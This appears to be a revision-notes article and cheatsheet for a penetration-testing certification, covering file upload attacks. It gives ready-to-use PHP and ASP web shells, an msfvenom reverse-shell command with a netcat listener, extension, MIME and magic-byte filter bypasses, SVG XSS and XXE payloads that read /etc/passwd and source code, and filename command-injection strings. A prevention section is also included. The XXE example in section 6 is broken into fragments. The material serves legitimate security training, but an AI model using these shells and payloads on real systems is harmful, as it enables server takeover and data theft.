All articles

File Upload Attacks — Web Shells, Filter Bypass and Limited-Upload Exploits (HTB CWES)

Built from the File Upload Attacks module of the HTB Academy Web Penetration Tester path (HTB CWES). Revision notes: every bypass and payload kept, condensed. Labs and lessons are on HTB Academy.

An upload form that doesn't validate properly is one step from RCE: upload a script in the server's language and visit it. When uploads are limited to images/docs, you can still get XSS, XXE, SSRF or DoS. File upload is CWE-434, almost always scored High/Critical.

1. Shells: web and reverse

A web shell must be in the server's language. Minimal PHP / ASP:

<?php system($_REQUEST['cmd']); ?>    <!-- visit shell.php?cmd=id (view-source Ctrl+U for clean output) -->
<% eval request('cmd') %>

Ready-made: phpbash (semi-interactive), SecLists Web-Shells/ (/opt/useful/seclists/Web-Shells on Pwnbox).

A reverse shell is better when it works — pentestmonkey php-reverse-shell (set IP/PORT on lines 49-50), or generate one:

msfvenom -p php/reverse_php LHOST=IP LPORT=PORT -f raw > reverse.php
nc -lvnp PORT           # listener; then upload + visit the script

Identify the language first: visit /index.php (then .asp, .aspx…), use Wappalyzer, or Burp Intruder with SecLists web-extensions.txt.

2. Bypassing client-side validation

If the form rejects your file but no HTTP request is sent (check DevTools Network), validation is front-end only. Two bypasses:

  • Modify the request — upload a valid image, intercept in Burp, change filename="HTB.png" → shell.php and the body → your web shell, forward.
  • Disable the JS — Inspector (Ctrl+Shift+C), find <input ... onchange="checkFile(this)" accept=".jpg,.jpeg,.png">, read checkFile in the Console (Ctrl+Shift+K), then delete the onchange attribute (and accept). Temporary, but enough to upload.

3. Bypassing back-end blacklist filters

A blacklist (php, php7, phps…) is never comprehensive. Fuzz extensions with Burp Intruder (PayloadsAllTheThings PHP list; untick URL-encode so the . stays), sort by length to spot the ones that upload. Then use an allowed executable extension:

.phtml  .phar  .php3  .php4  .php5  .php7   (try several — depends on server config)
pHp     # mixed case bypasses a case-sensitive blacklist on Windows

4. Bypassing back-end whitelist filters

Whitelists are stronger, but a weak regex is exploitable. A regex missing the $ anchor (.*\.(jpg|png) not ...$) only checks the extension appears, not that it ends the name:

shell.jpg.php        # double extension — passes "contains .jpg", runs as PHP

If the regex is strict (...$) but the web server misconfig (Apache <FilesMatch ".+\.ph(ar|p|tml)"> without $) grants PHP execution to anything containing .php:

shell.php.jpg        # reverse double extension — ends .jpg (passes), runs as PHP

Character injection tricks the parser:

shell.php%00.jpg     # null byte — PHP ≤5.x truncates to shell.php
shell.aspx:.jpg      # colon on Windows → writes shell.aspx
# also try: %20 %0a %0d0a / .\ . … :   before/after each extension (fuzz permutations)

5. Bypassing content filters

Content-Type header — browser-set, so you control it. Change the file part's Content-Type to image/jpg:

MIME / magic bytes — the server reads the first bytes (mime_content_type()). Prepend an image signature; GIF8 is ASCII and the easiest:

echo "GIF8" > x.jpg ; file x.jpg      # → GIF image data
# in the shell: first line GIF8, then <?php system($_REQUEST['cmd']); ?>, keep extension .php

Combine both: an allowed MIME + disallowed extension, allowed extension + disallowed MIME, etc., to confuse layered filters.

6. Limited uploads → other bugs

When you can only upload images/docs:

  • XSS — upload an .html with JS; or an image with an XSS payload in metadata (exiftool -Comment=' "><img src=1 onerror=alert(document.cookie)>' x.jpg); or an SVG (it's XML): xml <svg xmlns="http://www.w3.org/2000/svg"><script>alert(window.origin)</script></svg>
  • XXE (SVG / XML / PDF / Office carry XML) — read files, including source: ```xml

]>

]> `` Leaked source reveals the uploads dir, allowed extensions and naming scheme. (See [Web Attacks](/en/articles/web-attacks.html)-style XXE.) - **SSRF** via the same XXE. - **DoS** — zip decompression bomb, pixel-flood JPG/PNG (fake huge dimensions), oversized file, or path-traversal upload (../../../etc/passwd`).

7. Other techniques

  • Filename injection — if the name is used in a shell command, SQL query, or reflected: file$(whoami).jpg, file`whoami`.jpg, file.jpg||whoami; <script>alert(1)</script>.jpg; file';select+sleep(5);--.jpg.
  • Upload-dir disclosure — force errors (duplicate name, 5000-char name, simultaneous requests) to leak the path; or read source via LFI/XXE.
  • Windows — reserved chars (| < > * ?) / names (CON, NUL, LPT1) cause errors; 8.3 names (WEB~1.CON) can overwrite files.

8. Prevention

  • Validate extension with whitelist and blacklist, anchored (/^.*\.(jpg|png)$/ whitelist; block ph(p|ps|ar|tml) anywhere), front and back end.
  • Validate content — Content-Type and mime_content_type() and ensure they match the extension.
  • Hide the uploads dir — serve via download.php (authz + path checks → no IDOR/LFI), random stored names (original in DB), 403 on the dir, Content-Disposition: attachment, X-Content-Type-Options: nosniff, separate storage server, open_basedir.
  • Harden — disable_functions=exec,shell_exec,system,passthru,…, hide errors, limit size, update libs, scan uploads, WAF.

9. What to carry into the CWES exam

  • Fingerprint → test arbitrary upload (<?php system($_REQUEST['cmd']);?>), then escalate to the right filter bypass.
  • Climb the filter ladder: client-side (Burp/disable JS) → blacklist (fuzz .phtml/.php5, case) → whitelist (shell.jpg.php, shell.php.jpg, %00/:) → content (Content-Type: image/jpg, GIF8 magic bytes). Combine extension + content tricks for layered filters.
  • If upload is truly limited, pivot: SVG XSS/XXE (read source with php://filter), metadata XSS, filename command injection.
  • Visit the file under the uploads dir (/uploads/, /profile_images/); if hidden, force an error or read source to find it.

Cheatsheet — File Upload Attacks

Shells

<?php system($_REQUEST['cmd']); ?>        <!-- shell.php?cmd=id -->
<% eval request('cmd') %>                 <!-- ASP -->
msfvenom -p php/reverse_php LHOST=IP LPORT=PORT -f raw > reverse.php
nc -lvnp PORT
# phpbash, SecLists Web-Shells/, pentestmonkey php-reverse-shell (edit IP/PORT)

Identify / client-side bypass

/index.php (.asp/.aspx…)   Wappalyzer   Burp Intruder + web-extensions.txt
Burp: change filename="x.png"→shell.php + body→shell     |    DevTools: delete onchange="checkFile(this)"

Extension bypass

blacklist : .phtml .phar .php3 .php4 .php5 .php7 | pHp (case)   (fuzz, untick URL-encode)
whitelist : shell.jpg.php (weak regex)   shell.php.jpg (Apache FilesMatch misconfig)
chars     : shell.php%00.jpg   shell.aspx:.jpg   (%20 %0a / : . before/after ext)

Content bypass

Content-Type header → image/jpg
magic bytes: first line GIF8  (file x ; mime_content_type)

Limited uploads

<svg xmlns="http://www.w3.org/2000/svg"><script>alert(window.origin)</script></svg>           <!-- XSS -->
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><svg>&xxe;</svg>                   <!-- XXE -->
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]><svg>&xxe;</svg>
exiftool -Comment=' "><img src=1 onerror=alert(1)>' x.jpg                                      <!-- metadata XSS -->

Filename injection

file$(whoami).jpg    file`whoami`.jpg    file.jpg||whoami    <script>alert(1)</script>.jpg

Prevent — whitelist+blacklist (anchored $) · Content-Type+MIME+match · download.php (random names, 403) · disable_functions · size limit · WAF

Built from HTB Academy's File Upload Attacks module — labs, lessons and the CWES exam are on HTB Academy.

&xxe;&xxe;